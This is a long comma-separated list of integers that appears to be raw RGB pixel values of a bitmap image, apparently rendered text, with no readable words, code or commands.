,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,58,58,0,0,0,0,0,58,58,0,0,0,0,0,0,0,58,9493503,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,6731519,9493503,0,0,0,0,0,9493503,9493503,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731483,16777215,16777215,16767926,9452032,0,102,11993087,11964560,11983871,16777215,14399120,3801088,0,0,3838171,16777215,16777215,14408630,6699520,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,102,11983871,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,102,11993087,11964560,11983871,16777215,14399120,3801088,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11953664,0,102,11993087,11953664,0,0,26294,14417919,16777215,14399078,6731519,14389306,0,102,11993087,11964560,11983871,16777215,14399120,3801088,0,0,0,0,0,0,0,16767888,16777142,0,0,0,0,0,16777142,16767888,0,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9463354,3815994,9484031,16758374,3801088,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,58,3815994,3816038,9483995,16777142,6684672,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,102,11993087,16758374,3815994,6721755,16777215,14389306,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,11953664,0,102,11993087,11953664,0,102,11993087,16758374,3815994,6721755,16777215,14389306,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,3801088,6684672,0,0,0,0,0,6684672,6684672,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,14389306,0,58,9493503,14389306,0,0,0,58,3815994,3816080,14417883,9452032,0,102,11993087,14389306,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,14389306,0,58,9493503,14389306,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,102,11993087,11953664,0,26294,16777142,6684672,0,58,9493503,14389306,0,102,11993087,14389306,0,58,9493503,14389306,0,0,0,0,0,0,0,0,102,14992,26294,26294,26294,14992,102,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,14992,14417919,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,102,11993087,11953664,0,26294,16777142,6684672,0,58,9493503,14389306,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,58,26294,6731519,11993087,14417883,16777142,16777142,16777142,14417883,11993087,6731519,26294,58,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,102,11993051,9452032,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,102,11993087,11953664,0,26294,16777142,6684672,0,58,9493503,14389306,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,9493503,16777142,16758374,11953664,9452032,6684672,6684672,6684672,9452032,11953664,16758374,16777142,9493503,14992,0,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,11953722,3815994,3815994,3815936,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,102,11993087,11953664,0,58,9493503,14389306,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3815994,3815994,0,102,11993087,11953664,0,58,9493503,14389306,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,16758374,3815994,6721755,16777215,11953664,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,14389306,6684672,0,0,0,0,0,0,0,0,0,6684672,14389306,14417883,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731483,16777215,16777215,16777215,14389306,0,102,11993087,11953664,0,58,9493503,14389306,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,102,11993087,11953664,0,58,9493503,14389306,0,0,26294,14417919,16777215,14399120,9493503,14389306,0,0,58,6731483,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,102,11993087,11953664,0,58,9493503,14389306,0,0,102,11983871,16777215,16777179,11964474,0,0,0,26294,14417919,16777215,14389392,11983871,16777215,11953664,0,26294,14417919,16777215,14399120,9493503,14389306,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,9452032,0,0,0,0,58,9493503,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16767926,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,3816038,9483995,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,3816038,9483995,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816038,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16777215,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16777215,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777142,6684672,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14417919,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16767926,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,11983871,16777215,16777215,14399120,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483995,16777215,16777215,14399078,3801088,0,102,11993087,16777215,16777215,16777215,14399120,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,3827382,16777142,6684672,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,11953722,0,0,0,0,14950,11983871,16777215,16777215,14399078,3801088,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16767888,6699578,3816038,11983835,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3816080,11993087,14389306,0,102,11993087,11953722,3815994,3816038,11983871,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16758374,0,0,0,0,58,9493503,16767888,6699578,3827344,14417919,14389306,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,58,6731483,16777215,16777215,16767926,9452032,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,3838171,16777215,16777215,14408630,6699520,0,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,58,6731483,16777215,16777215,16767926,9452032,0,102,11993087,11964560,11983871,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993051,9452032,6731483,14408630,6721718,16767888,3801088,102,11993087,11953664,0,0,14992,14417883,9452032,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,3838171,16777215,16777215,14408630,6699520,0,0,0,0,26294,16777142,6684672,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,26294,16777179,9452032,0,0,3838171,16777142,6684672,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,102,11993087,11964560,11983871,16777215,14399120,3801088,0,0,102,11983871,16777215,16777215,14399078,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,11953722,0,0,0,0,0,6731519,16777179,9463354,3815994,9484031,16758374,3801088,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,0,58,3815994,3816038,9483995,16777142,6684672,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,6731519,16777179,9463354,3815994,9484031,16758374,3801088,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14408592,3827382,16777179,11964518,9493503,16767888,3801088,102,11993087,11953664,0,0,26294,16777142,6684672,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,58,3815994,3816038,9483995,16777142,6684672,0,0,0,26294,16777142,6684672,0,0,0,0,58,3815994,6721755,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,3838171,16767888,3801088,0,0,26294,16777179,9452032,58,3816038,9493503,14389350,3815994,3815994,3801088,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,0,0,0,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731483,16777215,16777179,11953722,0,0,102,11993087,11953664,0,0,0,0,0,0,102,11993087,14389306,0,102,11993087,11953664,0,0,58,3815994,3816080,14417883,9452032,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,14389306,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,0,26294,16767888,6721755,16758374,0,26294,16767888,3801088,102,11993087,11953722,3815994,3816038,11983871,16767888,3801088,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,14389306,0,58,9493503,14389306,0,0,0,58,3815994,3816080,14417883,9452032,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,3838171,16767888,3801088,0,0,14992,14417883,9452032,0,58,9493503,14389306,0,0,0,0,102,11993087,14389306,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,102,11993087,14389306,0,102,11993087,11953664,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6721718,14417919,14389306,0,14992,14417883,9452032,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,0,58,9493503,14389306,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,3815994,3815994,3815994,3815994,3815994,3815936,0,0,0,0,0,0,0,0,0,26294,16767888,6721755,16758374,0,26294,16767888,3801088,102,11993087,16777215,16777215,16777215,14399120,3801088,0,14992,14417919,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,3838171,16767888,3801088,0,0,26294,16777179,9452032,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,102,11993087,11953664,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,26294,16777142,6684672,0,102,11993051,9452032,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16767888,3827382,16777142,6699520,6721755,16767888,3801088,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,102,11993051,9452032,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,26294,16777179,9452032,0,0,3838171,16777142,6684672,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,9483920,6710842,3815994,3816080,11993087,14389306,0,0,6731519,16777179,11953722,3815994,3815994,3815936,0,58,3816038,11993087,11953722,3815936,0,0,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,6731519,16777179,11953722,3815994,3815994,3815936,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417846,6684730,9493503,16777215,11974326,16767888,3801088,102,11993087,11953664,0,0,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,0,0,26294,16777215,11953722,3815994,3815994,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,0,0,0,0,0,0,0,0,0,58,9493503,16758374,0,0,0,0,102,11993087,16767888,6699578,3827344,14417919,14389306,0,0,0,6731519,16767926,6699578,3815994,3815994,0,102,11993087,11953664,0,58,9493503,14389306,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,58,3816038,11993087,11953722,3815936,0,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,11983835,16777215,16777215,16777215,14399078,3801088,0,0,58,6731483,16777215,16777215,16777215,14389306,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,58,6731483,16777215,16777215,16777215,14389306,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11953664,0,58,9493503,14389306,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,0,0,0,6731483,16777215,16777215,16758416,3801088,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,26294,16777215,11953722,0,0,0,0,14950,11983871,16777215,16777215,14399078,3801088,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,102,11993087,11953664,0,58,9493503,14389306,0,0,58,6731483,16777215,16777215,16777215,11953664,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,0,58,9493503,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0